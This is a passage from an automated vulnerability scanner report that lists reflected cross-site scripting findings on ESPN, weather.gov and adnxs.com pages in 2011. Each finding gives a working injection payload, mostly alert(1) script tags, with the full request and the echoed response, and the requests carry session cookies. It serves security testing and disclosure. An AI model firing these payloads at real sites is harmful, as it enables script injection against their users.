This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /blog/new-york/hockey/category/_/name/new-york-rangers2c495"><a>c35cbec8142 HTTP/1.1
Host: espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:20:42 GMT
Content-Type: text/html;charset=iso-8859-1
Last-Modified: Wed, 23 Feb 2011 23:20:42 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN32
Cache-Expires: Wed, 23 Feb 2011 23:25:42 GMT
InvH: blog-new-yorkhockey
Content-Length: 35047
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Hockey Blog - ESPN
...[SNIP]...
<link rel="canonical" href="http://espn.go.com/blog/new-york/hockey/category/_/name/new-york-rangers2c495"><a>c35cbec8142" />
...[SNIP]...

1.120. http://espn.go.com/blog/new-york/knicks/post/_/id/2851/melo-will-wear-no-7-for-the-knicks [REST URL parameter 8]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://espn.go.com
Path:   /blog/new-york/knicks/post/_/id/2851/melo-will-wear-no-7-for-the-knicks

Issue detail

The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11851"><script>alert(1)</script>c254b6c06ee was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/new-york/knicks/post/_/id/2851/melo-will-wear-no-7-for-the-knicks11851"><script>alert(1)</script>c254b6c06ee HTTP/1.1
Host: espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:19:58 GMT
Content-Type: text/html;charset=iso-8859-1
Last-Modified: Wed, 23 Feb 2011 23:19:58 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN17
Cache-Expires: Wed, 23 Feb 2011 23:24:58 GMT
InvH: blog-new-yorkknicks
Content-Length: 69717
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Melo will wear No.
...[SNIP]...
<a href="/blog/new-yorkknicks/post/_/id/2851/melo-will-wear-no-7-for-the-knicks11851"><script>alert(1)</script>c254b6c06ee/sort/oldest">
...[SNIP]...

1.121. http://espn.go.com/blog/new-york/knicks/post/_/id/2851/melo-will-wear-no-7-for-the-knicks [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://espn.go.com
Path:   /blog/new-york/knicks/post/_/id/2851/melo-will-wear-no-7-for-the-knicks

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3622"><script>alert(1)</script>a8a4b6f11a1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/new-york/knicks/post/_/id/2851/melo-will-wear-no-7-for-the-knicks?f3622"><script>alert(1)</script>a8a4b6f11a1=1 HTTP/1.1
Host: espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:18:21 GMT
Content-Type: text/html;charset=iso-8859-1
Last-Modified: Wed, 23 Feb 2011 23:18:21 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN13
Cache-Expires: Wed, 23 Feb 2011 23:23:21 GMT
InvH: blog-new-yorkknicks
Content-Length: 69328
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Melo will wear No.
...[SNIP]...
<a href="/blog/new-yorkknicks/post/_/f3622"><script>alert(1)</script>a8a4b6f11a1=1/id/2851/sort/oldest/melo-will-wear-no-7-for-the-knicks">
...[SNIP]...

1.122. http://espn.go.com/blog/new-yorkjets/post/_/id/4686/rex-tannenbaum-ready-for-prime-time [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://espn.go.com
Path:   /blog/new-yorkjets/post/_/id/4686/rex-tannenbaum-ready-for-prime-time

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2eb1"><script>alert(1)</script>b1d8aa4d5e3 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/new-yorkjets/post/_/id/4686/rex-tannenbaum-ready-for-prime-timeb2eb1"><script>alert(1)</script>b1d8aa4d5e3 HTTP/1.1
Host: espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:20:50 GMT
Content-Type: text/html;charset=iso-8859-1
Last-Modified: Wed, 23 Feb 2011 23:20:50 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN17
Cache-Expires: Wed, 23 Feb 2011 23:25:50 GMT
InvH: blog-new-yorkjets
Content-Length: 55011
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Rex, Tannenbaum rea
...[SNIP]...
<a href="/blog/new-yorkjets/post/_/rex-tannenbaum-ready-for-prime-timeb2eb1"><script>alert(1)</script>b1d8aa4d5e3/id/4686/sort/oldest">
...[SNIP]...

1.123. http://espn.go.com/blog/new-yorkjets/post/_/id/4686/rex-tannenbaum-ready-for-prime-time [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://espn.go.com
Path:   /blog/new-yorkjets/post/_/id/4686/rex-tannenbaum-ready-for-prime-time

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f156"><script>alert(1)</script>4a93f5fb5e8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/new-yorkjets/post/_/id/4686/rex-tannenbaum-ready-for-prime-time?1f156"><script>alert(1)</script>4a93f5fb5e8=1 HTTP/1.1
Host: espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:19:58 GMT
Content-Type: text/html;charset=iso-8859-1
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN02
Cache-Expires: Wed, 23 Feb 2011 23:24:58 GMT
InvH: blog-new-yorkjets
Content-Length: 54453
Cache-Control: no-cache
Pragma: no-cache
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Rex, Tannenbaum rea
...[SNIP]...
<a href="/blog/new-yorkjets/post/_/id/4686/1f156"><script>alert(1)</script>4a93f5fb5e8=1/sort/oldest/rex-tannenbaum-ready-for-prime-time">
...[SNIP]...

1.124. http://espn.go.com/espn/rss/newyork/news [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://espn.go.com
Path:   /espn/rss/newyork/news

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 993b0<a>c8de8f03e79 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /espn/rss/newyork/news?993b0<a>c8de8f03e79=1 HTTP/1.1
Host: espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=15
Date: Wed, 23 Feb 2011 23:20:52 GMT
Content-Type: text/xml; charset=iso-8859-1
Last-Modified: Wed, 23 Feb 2011 23:20:52 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN11
Cache-Expires: Wed, 23 Feb 2011 23:36:07 GMT
Content-Length: 14917
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet href="http://sports.espn.go.com/rss/friendlyRSSDemo.xsl" type="text/xsl" media="screen"?>
<rss version="2.0"    xmlns:dc="http://purl.org/dc/eleme
...[SNIP]...
<atom:link rel="self" href="http://sports.espn.go.com/espn/rss/newyork/news?993b0<a>c8de8f03e79=1" />
...[SNIP]...

1.125. http://espn.go.com/ncb/conversation [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://espn.go.com
Path:   /ncb/conversation

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f99b1"><script>alert(1)</script>c51c4c595ec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ncb/conversation?gameId=310542599&f99b1"><script>alert(1)</script>c51c4c595ec=1 HTTP/1.1
Host: espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=5
Date: Wed, 23 Feb 2011 23:22:00 GMT
Content-Type: text/html
Last-Modified: Wed, 23 Feb 2011 23:22:00 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN09
Cache-Expires: Wed, 23 Feb 2011 23:22:05 GMT
Content-Length: 45097
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-
...[SNIP]...
<a href="?gameId=310542599&amp;f99b1"><script>alert(1)</script>c51c4c595ec=1&amp;sort=oldest">
...[SNIP]...

1.126. http://espn.go.com/new-york/columns/archive [name parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://espn.go.com
Path:   /new-york/columns/archive

Issue detail

The value of the name request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0db4"><script>alert(1)</script>35d0e784658 was submitted in the name parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /new-york/columns/archive?name=ian-o-connorf0db4"><script>alert(1)</script>35d0e784658 HTTP/1.1
Host: espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=60
Date: Wed, 23 Feb 2011 23:13:42 GMT
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Wed, 23 Feb 2011 23:13:42 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN03
Cache-Expires: Wed, 23 Feb 2011 23:14:42 GMT
Content-Length: 21570
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Ian O'Connor Archiv
...[SNIP]...
<a href="http://search.espn.go.com/ian-o-connorf0db4"><script>alert(1)</script>35d0e784658/">
...[SNIP]...

1.127. http://espn.go.com/videohub/mpf/config.prodXml [adminOver parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://espn.go.com
Path:   /videohub/mpf/config.prodXml

Issue detail

The value of the adminOver request parameter is copied into the XML document as plain text between tags. The payload ea180<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>6674f816b2 was submitted in the adminOver parameter. This input was echoed as ea180<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>6674f816b2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.

Request

GET /videohub/mpf/config.prodXml?player=index09&adminOver=3805638ea180<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>6674f816b2&xhr=1 HTTP/1.1
Host: espn.go.com
Proxy-Connection: keep-alive
Referer: http://espn.go.com/new-york/
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: application/xml, text/xml, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; userAB=F; CRBLM=CBLM-001:; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; CRBLM_LAST_UPDATE=1298497363; broadbandAccess=espn3-false%2Cnetworks-false

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 21:43:51 GMT
Content-Type: text/xml;charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 21:43:51 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN34
Cache-Expires: Wed, 23 Feb 2011 21:52:11 GMT
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding
Connection: Keep-Alive
Content-Length: 6404


<mpf>


   <globalPlayerConfig adminOver="3805638ea180<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>6674f816b2">

       <freewheel>
           <debugMode>QUIET</debugMode>
           <networkID
...[SNIP]...

1.128. http://forecast.weather.gov/product.php [highlight parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://forecast.weather.gov
Path:   /product.php

Issue detail

The value of the highlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b77c1"%20a%3db%20111d93b24a1 was submitted in the highlight parameter. This input was echoed as b77c1" a=b 111d93b24a1 in the application's response.

This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /product.php?site=NWS&issuedby=GYX&product=AFD&format=CI&version=1&glossary=1&highlight=offb77c1"%20a%3db%20111d93b24a1 HTTP/1.1
Host: forecast.weather.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Age: 8
Date: Sat, 26 Feb 2011 02:11:18 GMT
Content-Length: 23466
Content-Type: text/html; charset=UTF-8
Expires: Sat, 26 Feb 2011 02:26:18 GMT
Cache-Control: max-age=900
X-Pad: work around browser bug
Server: Apache
Via: 1.1 wwwcache-2 (NetCache NetApp/6.0.7), 1.0 c3.w3.woc (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head>
<meta http-equiv="Content-
...[SNIP]...
<a href="?site=NWS&issuedby=GYX&product=AFD&format=CI&version=2&glossary=1&highlight=offb77c1" a=b 111d93b24a1">
...[SNIP]...

1.129. http://games.espn.go.com/frontpage/ [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://games.espn.go.com
Path:   /frontpage/

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload e3539<script>alert(1)</script>45440a8342f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /frontpagee3539<script>alert(1)</script>45440a8342f/ HTTP/1.1
Host: games.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Connection: close
Content-Length: 132
Content-Type: text/html; charset=iso-8859-1
Server: barista/3.3.6
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRoBUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"

<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY>404 Not Found<HR>/frontpagee3539<script>alert(1)</script>45440a8342f/</BODY></HTML>

1.130. http://ib.adnxs.com/ab [cnd parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ib.adnxs.com
Path:   /ab

Issue detail

The value of the cnd request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5c463'-alert(1)-'ba5a810b394 was submitted in the cnd parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

